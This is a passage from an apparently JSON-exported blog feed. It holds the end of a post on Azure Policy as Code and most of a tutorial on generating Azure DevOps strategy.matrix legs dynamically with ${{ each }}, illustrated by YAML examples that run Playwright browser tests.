\u0026lsquo;Running\u0026rsquo;\u0026rdquo;\u003c/strong\u003e\nCheck the deployment history in the Policy blade. This usually indicates the managed identity lacks RBAC on the target subscription.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;Terraform replace on every plan\u0026rdquo;\u003c/strong\u003e\nTerraform compares JSON strings literally. Use \u003ccode\u003ejq --sort-keys\u003c/code\u003e in a pre-commit hook to normalize your policy JSON files.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/governance/policy/overview\"\u003eAzure Policy Documentation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-regulatory-compliance\"\u003eRegulatory Compliance initiatives\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits#policy-limits\"\u003eAzure Policy Service Limits\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eNext, proceed to \u003ca href=\"../azure-subscription-vending/\"\u003ePost 5: Subscription Vending\u003c/a\u003e. We will integrate these policies into the automated workload onboarding process.\u003c/p\u003e\n","description":"Deploy Azure Policy definitions and assignments as code using Terraform and Bicep. Covers compliance benchmarks, DINE effects, and exemptions.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-policy-governance/","title":"Azure Policy as Code: Governance with Terraform and Bicep"},{"content":"\u003cp\u003eYour test suite covers 6 browsers. You hard-coded them in a static matrix. Today the spec added a seventh. You edited the matrix, committed, and waited for CI. Tomorrow there will be an eighth.\u003c/p\u003e\n\u003cp\u003eA static \u003ccode\u003estrategy.matrix\u003c/code\u003e works until the test dimensions change — then it becomes a maintenance liability. Every new browser version, OS target, or SDK release requires a YAML edit. For SRE and QA automation teams managing suites that run against a changing configuration surface, editing YAML to add a test target is a feedback loop that slows releases.\u003c/p\u003e\n\u003cp\u003eThe solution is a matrix that generates itself from data: a parameter list that callers control, a template that consumes it, and a parallelism cap that keeps costs from scaling unchecked.\u003c/p\u003e\n\u003cp\u003eThis article covers:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe difference between compile-time \u003ccode\u003e${{ each }}\u003c/code\u003e job generation and runtime \u003ccode\u003estrategy.matrix\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003ePatterns for generating a \u003ccode\u003estrategy.matrix\u003c/code\u003e object dynamically from a YAML parameter.\u003c/li\u003e\n\u003cli\u003eParallelism control using \u003ccode\u003emaxParallel\u003c/code\u003e on dynamic matrices.\u003c/li\u003e\n\u003cli\u003eResult aggregation from matrix legs in downstream jobs.\u003c/li\u003e\n\u003cli\u003eA complete self-scaling browser compatibility test pattern.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"two-mechanisms-two-phases\"\u003eTwo Mechanisms, Two Phases\u003c/h2\u003e\n\u003ch3 id=\"strategymatrix--a-runtime-mechanism\"\u003e\u003ccode\u003estrategy.matrix\u003c/code\u003e — A Runtime Mechanism\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003estrategy.matrix\u003c/code\u003e is evaluated during the \u003cstrong\u003eInitialize\u003c/strong\u003e phase, after the agent is provisioned but before any steps run. The matrix entries spawn parallel job copies — called legs — each receiving a different set of variables. From Azure DevOps\u0026rsquo;s perspective, a job with a 3-entry matrix is one job definition that produces three runtime copies.\u003c/p\u003e\n\u003cp\u003eEach matrix leg is a named key under \u003ccode\u003estrategy.matrix:\u003c/code\u003e with a nested mapping of variables. All matrix variable names become pipeline variables accessible via \u003ccode\u003e$(varName)\u003c/code\u003e macro expansion in any step. The leg name appears as the job display name suffix in the pipeline run graph.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Static 3-entry matrix — three identical job structures, different variable values\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRunTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ematrix\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003echrome_latest\u003c/span\u003e:          \u003cspan style=\"color:#75715e\"\u003e# Leg name — shown in run UI, required in output variable refs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ebrowserName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003echrome\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edriverVersion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;114\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003efirefox_stable\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ebrowserName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003efirefox\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edriverVersion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;115\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esafari_current\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ebrowserName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esafari\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edriverVersion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;16\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003emaxParallel\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e            \u003cspan style=\"color:#75715e\"\u003e# All three run concurrently when agents are available\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;Testing on $(browserName) v$(driverVersion)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      npx playwright test --browser $(browserName)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Playwright tests: $(browserName) v$(driverVersion)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"-each---a-compile-time-mechanism\"\u003e\u003ccode\u003e${{ each }}\u003c/code\u003e — A Compile-Time Mechanism\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003e${{ each }}\u003c/code\u003e generates discrete, separate job definitions at parse time. Each iteration produces a fully independent job with its own \u003ccode\u003ename:\u003c/code\u003e, \u003ccode\u003epool:\u003c/code\u003e, and \u003ccode\u003esteps:\u003c/code\u003e. The generated jobs are visible in the Expanded YAML as separate entries.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# ${{ each }} generates 3 SEPARATE job definitions — not matrix runtime copies\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etestTargets\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ebrowser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003echrome\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;114\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ebrowser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003efirefox\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;115\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ebrowser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esafari\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;16\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each target in parameters.testTargets }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRunTests_${{ target.browser }}  \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Three distinct job names in Expanded YAML\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Testing ${{ target.browser }} v${{ target.version }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        npx playwright test --browser ${{ target.browser }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Test ${{ target.browser }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe key distinction: \u003ccode\u003estrategy.matrix\u003c/code\u003e produces one YAML definition that Azure DevOps clones at runtime. \u003ccode\u003e${{ each }}\u003c/code\u003e produces multiple YAML definitions at compile time.\u003c/p\u003e\n\u003ch3 id=\"choosing-the-right-mechanism\"\u003eChoosing the Right Mechanism\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eUse \u003ccode\u003estrategy.matrix\u003c/code\u003e when\u0026hellip;\u003c/th\u003e\n          \u003cth\u003eUse \u003ccode\u003e${{ each }}\u003c/code\u003e to generate jobs when\u0026hellip;\u003c/th\u003e\n          \u003cth\u003eCombine both when\u0026hellip;\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eJobs are structurally identical, differing only in variables\u003c/td\u003e\n          \u003ctd\u003eJobs need different steps per variation\u003c/td\u003e\n          \u003ctd\u003eYou want a data-driven matrix from a parameter\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eYou need \u003ccode\u003emaxParallel\u003c/code\u003e capping\u003c/td\u003e\n          \u003ctd\u003eJobs need different pools or service connections\u003c/td\u003e\n          \u003ctd\u003eYou want compile-time control with runtime parallelism\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eOutput variable refs by leg name are needed downstream\u003c/td\u003e\n          \u003ctd\u003eJobs need different \u003ccode\u003edependsOn\u003c/code\u003e chains\u003c/td\u003e\n          \u003ctd\u003eThe matrix must scale without template edits\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eThe most powerful pattern for data-driven test suites is the combination: use \u003ccode\u003e${{ each }}\u003c/code\u003e to build the matrix object at compile time from a parameter array, and let \u003ccode\u003estrategy.matrix\u003c/code\u003e handle the runtime parallelism.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"static-matrix--the-baseline\"\u003eStatic Matrix — The Baseline\u003c/h2\u003e\n\u003ch3 id=\"structure-and-variable-access\"\u003eStructure and Variable Access\u003c/h3\u003e\n\u003cp\u003eEach matrix leg is a named key with a nested variable mapping. Variable names become runtime variables accessible via \u003ccode\u003e$(varName)\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRunTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ematrix\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eubuntu_node18\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eos\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003enodeVersion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;18.x\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003etestSuite\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eunit\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ewindows_node18\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eos\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewindows-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003enodeVersion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;18.x\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003etestSuite\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eintegration\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003emaxParallel\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(os)              \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Matrix variable used in pool configuration\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eNodeTool@0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eversionSpec\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(nodeVersion)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;OS: $(os) | Node: $(nodeVersion) | Suite: $(testSuite)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      npm run test:$(testSuite)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Run $(testSuite) tests\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003emaxParallel: 2\u003c/code\u003e instructs Azure DevOps to run at most 2 legs concurrently. Without it, all legs start simultaneously, potentially exhausting the agent pool.\u003c/p\u003e\n\u003ch3 id=\"matrix-include-and-limitations\"\u003eMatrix \u003ccode\u003einclude\u003c/code\u003e and Limitations\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003ematrix.include\u003c/code\u003e adds extra legs to a matrix without rewriting the full definition. However, \u003ccode\u003einclude\u003c/code\u003e and \u003ccode\u003eexclude\u003c/code\u003e cannot be combined with dynamically generated matrices. If you inject the matrix dynamically, \u003ccode\u003einclude\u003c/code\u003e and \u003ccode\u003eexclude\u003c/code\u003e are ignored. Build every leg directly into the dynamic object instead.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"generating-a-matrix-dynamically\"\u003eGenerating a Matrix Dynamically\u003c/h2\u003e\n\u003ch3 id=\"building-the-matrix-object-at-compile-time\"\u003eBuilding the Matrix Object at Compile Time\u003c/h3\u003e\n\u003cp\u003ePlacing a \u003ccode\u003e${{ each }}\u003c/code\u003e expression directly inside \u003ccode\u003estrategy: matrix:\u003c/code\u003e generates the matrix content from a parameter array at compile time.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etestTargets\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ebrowser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003echrome\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elatest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ebrowser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003efirefox\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRunTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ematrix\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Each iteration contributes one leg to the matrix object\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ each target in parameters.testTargets }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#ae81ff\"\u003e${{ target.browser }}_${{ target.version }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ebrowser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ target.browser }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ target.version }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003emaxParallel\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan 